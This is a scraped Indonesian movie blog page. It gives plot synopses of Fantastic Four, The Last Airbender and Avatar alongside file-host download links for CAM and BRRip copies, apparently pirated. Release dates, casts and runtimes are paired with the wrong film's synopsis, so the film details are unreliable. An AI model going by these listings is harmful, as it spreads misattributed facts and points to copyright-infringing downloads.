Genre : Action | Adventure | Fantasy | Sci-Fi

----------------------------------------

Uploader by petrux7

Download File (Direvisi)
Download Subtitle English
-----------------------------------------------------------------------------------------------------------------

R E S E N S I

Reed Richards, Susan Storm, Ben Grimm, dan Johnny Storm adalah ilmuwan sekaligus sahabat dekat yang melakukan sebuah misi eksperimen menguji sebuah pesawat luar angkasa. Namun, eksperimen tersebut akhirnya berantakan karena terjadi sebuah kecelakaan kecil di luar angkasa.

Saat tiba kembali di Bumi, keempatnya baru sadar bahwa ada perubahan dalam tubuh mereka. Setiap atom dalam tubuh mereka mengalami mutasi sehingga mempunyai kemampuan khusus. Tubuh Reed bisa memanjang bagai karet sehingga ia dijuluki Mr Fantastic, Sue Storm memiliki kemampuan untuk menghilang dan mampu membuat perisai pelindung sehingga dijuluki Invisible Girl. Sedangkan Johnny, tubuhnya bisa menyala seperti api dan mempunyai kemampuan terbang sehingga disebut sebagai Human Torch, sementara Ben, kulitnya berubah menjadi keras seperti batu hingga mendapat julukan The Thing.

Ke empat ilmuwan sekaligus sahabat tersebut lalu membentuk tim manusia super dan dinamai dengan fantastic four.

Selain mereka ber empat, ternyata mantan atasan mereka Victor von Doom, ternyata juga mendapatkan kekuatan saat kecelakaan di luar angkasa tersebut terjadi. Namun Doom ingin menggunakan kekuatan barunya tersebut untuk menguasai dunia.

Mampukan Fantastic 4 menggagalkan ambisi dari Doom?

Date Released : 2 July 2010
Quality : CAM (Kualitas Masih Buruk)
Info : imdb.com/title/tt0938283
Lihat : Trailer
Starring : Noah Ringer, Nicola Peltz, Jackson Rathbone
Genre : Adventure | Family | Fantasy | War
----------------------------------------
Status : Uploader by k0b0kan


Download File [300MB-mkv]|idws
Download Subtitle English



---------------------------------------------------------------------
Alternatif Link:

[CAM |300MB-mkv]|eu
Download Files: part1 - part2 | Sub Eng
or
Download Files: part1 - part2 | Sub Eng
----------------------------------------------
[CAM |300MB-mkv]|grgl
Download File | Sub Eng
----------------------------------------------
[CAM |300MB-mkv]|by genjik_marley|mkys
Download Files: part1 - part2 | Sub Eng
----------------------------------------------
http://www.indowebster.com/Avatar_The_Last_Airbender_Movie_2010_Versi_Camera.html
-----------------------------------

------
CAM (Kualitas Masih Buruk)

------------------
screenshot

--------------------------------------------------------------------------------------------------------------

R E S E N S I

Negeri Api merasa tidak puas dengan wilayah yang mereka miliki dan bermaksud memerangi negeri-negeri lain agar bisa memegang kekuasaan tertinggi. Kini keselamatan Negeri Tanah dan Negeri Air bergantung pada Avatar yang memiliki kemampuan untuk memanipulasi kekuatan api, air, tanah maupun kekuatan angin sebelum seluruh dunia dikuasai oleh Negeri Api.

Aang (Noah Ringer) adalah seorang bocah kecil yang tanpa ia sadari adalah Avatar yang bertugas untuk menyelamatkan bumi dari kehancuran. Dengan bantuan Katara (Nicola Peltz) dan saudaranya, Sokka (Jackson Rathbone), Aang pun memulai perjalanan panjang untuk mengembalikan keseimbangan di muka bumi yang terpecah belah akibat perang. Sayangnya usaha itu tak akan mudah karena Admiral Zhao (Aasif Mandvi) dan Prince Zuko (Dev Patel) dari Negeri Api tak akan membiarkan Aang begitu saja.

Apakah Aang dan kawan-kawan berhasil menjalankan misinya?

Tanggal Rilis : 18 December 2009
Kualitas : BRRip 720p x 264
Info : imdb.com/title/tt0499549
Runtime : 162 menit
Pemain : Zoe Saldana, Sam Worthington, Sigourney W
Genre : Action | Adventure | Sci-Fi | Thriller
----------------------------------------
Uploader by cinema3satu


Download Link: part1 - part2 [1.2GB-mkv]|idws
-------------------------------------------------------
Download Subtitle Indonesia
Download Subtitle English



------------------------------------------------------------------------
Alternatif Link :

[BRRip 720p x 264|1.2GB-mkv]|eu
Download Files: part1 - part2 - part3 - part4 - part5 - part6 - part7
| Sub Indo | Sub Eng
----------------------------------------------
[BRRip 720p x 264|1.2GB-mkv]2p|idws
Download Link | Sub Indo | Sub Eng

---------------------------------------------------------------------------------------------------------------

R E S E N S I

Ketika dikirim ke Pandora, Jake Sully (Sam Worthington) terjebak di antara dua kubu yang sedang bertikai. Pandora merupakan planet asing yang dihuni berbagai makhluk ihidup. Jake yang semula berharap bisa memulai hidup baru malah terlibat masalah yang mengharuskannya memilih salah satu pihak.

Jake merupakan mantan marinir yang mengalami luka parah dalam sebuah pertempuran di bumi yang mengakibatkan kaki Jake mengalami kelumpuhan total. Ada satu harapan buat Jake yaitu jika ia mengikuti program Avatar dan dikirim ke planet Pandora maka ia akan kembali bisa berjalan seperti sedia kala meski konsekuensinya Jake akan menggunakan 'tubuh baru'.

Agar memungkinkan buat manusia untuk hidup di Pandora maka mereka dibuatkan satu tubuh buatan dan pikiran para manusia ini akan ditanamkan ke dalam tubuh yang disebut Avatar ini sehingga Avatar ini seolah-olah adalah tubuh mereka sendiri. Tugas Jake adalah menjadi pemandu bagi beberapa manusia yang menggunakan tubuh Avatar untuk mencari sumber mineral baru untuk kepentingan industri di bumi.

Di tengah perjalanan, Jake bertemu Neytiri (Zoe Saldana), bangsa Na'vi penghuni planet Pandora. Seiring berjalannya waktu Jake pun jatuh cinta pada Neytiri. Berawal dari cinta inilah Jake lantas menghadapi dilema antara melanjutkan misinya mengeksplorasi Pandora atau membela kaum Na'vi melindungi Pandora.